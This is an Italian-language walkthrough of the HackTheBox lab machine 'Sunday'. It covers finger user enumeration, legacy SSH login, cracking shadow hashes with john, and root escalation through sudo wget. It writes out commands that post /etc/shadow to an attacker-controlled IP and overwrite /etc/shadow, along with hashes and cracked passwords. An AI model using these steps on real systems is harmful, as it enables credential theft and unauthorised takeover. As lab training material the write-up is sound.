HTB - Sunday

unshadow passwd_file shadow_file > unshadow_file   

Dove il file unshadow finale ha la seguente forma

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash

Per sovrascrivere un file qualsiasi

sudo /usr/bin/wget 10.10.14.96:1337/modified_shadow -O /etc/shadow   

Per leggere un file qualsiasi

sudo /usr/bin/wget 10.10.14.96:1337/modified_shadow --post-file = /etc/shadow

I soliti scans con nmap mostrano la seguente situazione

nmap -sC -sV sunday

PORT      STATE    SERVICE        VERSION
79/tcp    open     finger         Sun Solaris fingerd
|_finger: No one logged on\x0D
111/tcp   open     rpcbind        2-4 (RPC #100000)
1055/tcp  filtered ansyslmd
1090/tcp  filtered ff-fms
1863/tcp  filtered msnp
1998/tcp  filtered x25-svc-port
2875/tcp  filtered dxmessagebase2
5280/tcp  filtered xmpp-bosh
8009/tcp  filtered ajp13
50003/tcp filtered unknown
Service Info: OS: Solaris; CPE: cpe:/o:sun:sunos   

nmap -sC -sV -p 22022 sunday

Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-08 22:41 CEST
Stats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.30% done; ETC: 22:41 (0:00:00 remaining)
Nmap scan report for sunday (10.129.185.230)
Host is up (0.052s latency).

PORT      STATE SERVICE VERSION
22022/tcp open  ssh     SunSSH 1.3 (protocol 2.0)
| ssh-hostkey: 
|   1024 d2:e5:cb:bd:33:c7:01:31:0b:3c:63:d9:82:d9:f1:4e (DSA)
|_  1024 e4:2c:80:62:cf:15:17:79:ff:72:9d:df:8b:a6:c9:ac (RSA)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.37 seconds

Notiamo in particolare i seguenti servizi:

• Nella porta \(79\) il servizio finger, che viene utilizzato per ottenere varie informazioni basi sugli utenti del sistema.

• Nella porta \(22022\) il solito servizio ssh.

Procediamo quindi enumerando gli utenti del sistema tramite il servizio finger. Il servizio finger infatti ci permette di ottenere delle informazioni sugli utenti.

Se ad esempio eseguiamo finger -l root@sunday, otteniamo il seguente output

Login name: root                        In real life: Super-User
Directory: /root                        Shell: /usr/bin/bash
Last login Tue Apr 24, 2018 on pts/3 from sunday
New mail received Tue Apr 24 11:05:47 2018;
  unread since Tue Apr 24 11:05:46 2018
No Plan.

che ci fa capire che l'utente root esiste nel sistema.

Se invece proviamo ad eseguire lo stesso comando ma con un username creato in modo randomico, ad esempio finger -l asdasds@sunday, otteniamo quest'altro tipo di output

Login name: asadasds                    In real life: ???

che ci fa capire che, a differenza di prima, l'utente asdasds, giustamente, non esiste.

Utilizzando questo tipo di output possiamo qundi discriminare se un utente esiste oppure no.

In particolare, tramite lo script finger-user-enum, disponibile nella github repository di https://github.com/pentestmonkey/finger-user-enum, e la wordlist Usernames/Names/names.txt disponibile nella github repository SecLists possiamo enumerare gli utenti del sistema.

perl finger-user-enum.pl -U ~/repos/SecLists/Usernames/Names/names.txt -t sunday   

per ottenere il seguente output

root@sunday: root     Super-User            pts/3        <Apr 24, 2018> sunday
sammy@sunday: sammy                 console      <Oct 10, 2020>
sunny@sunday: sunny                 pts/3        <Apr 24, 2018> 10.10.14.4

possiamo quindi inferire l'esistenza dei seguenti account nel sistema

root
sammy
sunny

Provando a fare il login con ssh nella porta \(22022\) otteniamo il seguente errore

ssh -p 22022 sunny@sunday   

Unable to negotiate with 10.129.185.230 port 22022:
   no matching key exchange method found.
Their offer: gss-group1-sha1-toWM5Slw5Ew8Mqkay+al2g==,
             diffie-hellman-group-exchange-sha1,
             diffie-hellman-group1-sha1   

l'errore ci sta dicendo che tra il client ssh (nella nostra macchina) e il servizio ssh (nella macchina remota) non è stato trovato nessun cifrario comune, e quindi non è stato possibile iniziare la comunicazione.

Per sistemare questo problema dobbiamo dire al client ssh, quello eseguito sulla nostra macchina, di utilizzare uno dei cifrari offerti dal server. Possiamo fare questo con il seguente comando

ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -p 22022 sunny@sunday   

Una volta che siamo in grado di connetterci, possiamo entrare con le seguenti credenziali:

sunny:sunday   

notiamo che mentre l'username sunny è stato ottenuto enumerando il servizio finger, per quanto riguarda la password, quest'ultima può essere ottenuta sia andando a fare un attacco brute-force sul login, oppure indovinandola, in quanto la password corrisponde al nome della macchina.

Una volta dentro per prendere l'user flag dobbiamo andare nella cartella /backup per vedere il file shadow.backup, che contiene, come suggerisce il nome, il backup del file /etc/shadow.

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::

Per poter craccare le password andiamo prima a leggere il contenuto del file /etc/passwd relativo agli utenti sammy e sunny

sammy:x:101:10:sammy:/export/home/sammy:/bin/bash
sunny:x:65535:1:sunny:/export/home/sunny:/bin/bash

ed a eseguire il comando unshadow per collegare i due file in un unico file

unshadow passwd_file shadow_file > unshadow_file   

Il contenuto di unshadow_file è il seguente

sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:101:10:sammy:/export/home/sammy:/bin/bash
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:65535:1:sunny:/export/home/sunny:/bin/bash   

Alla fine possiamo utilizzare john con la solita wordlist rockyou.txt per ottenere le password degli utenti

john --wordlist=/usr/share/wordlists/rockyou.txt unshadow   

in questo caso otteniamo

sunday           (sunny)
cooldude!        (sammy)

Una volta loggati come l'utente sammy troviamo subito la user flag nella sua home directory.

Continuando come l'utente sammy eseguendo il comando sudo -l troviamo la seguente situazione

User sammy may run the following commands on this host:
    (root) NOPASSWD: /usr/bin/wget     

Possiamo quindi eseguire il comando wget come root.

La prima idea è quella di far partire un python server e di sovrascrivere il file /root/.ssh/authorized_keys per entrare in ssh con il seguente comando

wget http://<IP>:<port>/authorized_keys -O /home/.ssh/authorized_keys

questo però non funziona, probabilmente perché la cartella .ssh non esiste.

In realtà per ottenere una root da shell basta notare il fatto che l'utente sunny può eseguire da root lo script /root/troll. L'idea quindi è quella di sovrascivere questo script con uno script che spawna una shell tramite wget, per poi eseguirlo.

Per far funzionare il tutto bisogna stare attenti al fatto che lo script troll viene ogni tot. di secondi sovrascritto da un cronjob.

Una volta ottenuto la shell da root possiamo semplicemente leggere la root flag.

Un altro modo per ottenere il root, che avrebbe funzionato anche se non fossimo stati in grado di eseguire lo script /root/troll, consiste nell'utilizzare il parametro post-file del comando wget per leggere il file /etc/shadow. Per fare questo dobbiamo prima settare nella nostra macchina un python server che semplicemente logga le richieste GET/POST che riceve

python3 log_http_requests.py 1337   

e poi nella macchina remota eseguire il seguente comando

sudo /usr/bin/wget 10.10.14.96:1337/modified_passwd --post-file=/etc/shadow   

una volta che leggiamo il file shadow, che è il seguente

root:$5$WVmHMduo$nI.KTRbAaUv1ZgzaGiHhpA2RNdoo3aMDgPBL25FZcoD:14146::::::
<ALTRE COSE QUI...>
sammy:$5$Ebkn8jlK$i6SSPa0.u7Gd.0oJOT4T421N2OvsfXqAT1vCoYUOigB:6445::::::
sunny:$5$iRMbpnBv$Zh7s6D7ColnogCdiVE5Flz9vCZOMkUFxklRhhaShxv3:17636::::::   

semplicemente modificando lo shadow file andando a copiare la password-hashata dell'utente sammy nell'utente root e trasportando il file shadow modificato nella macchina remota come segue

wget http://<IP>:<port>/modified_shadow -O /etc/shadow

siamo in grado di loggare come l'utente root utilizzando la password dell'utente sammy, ovvero cooldude!.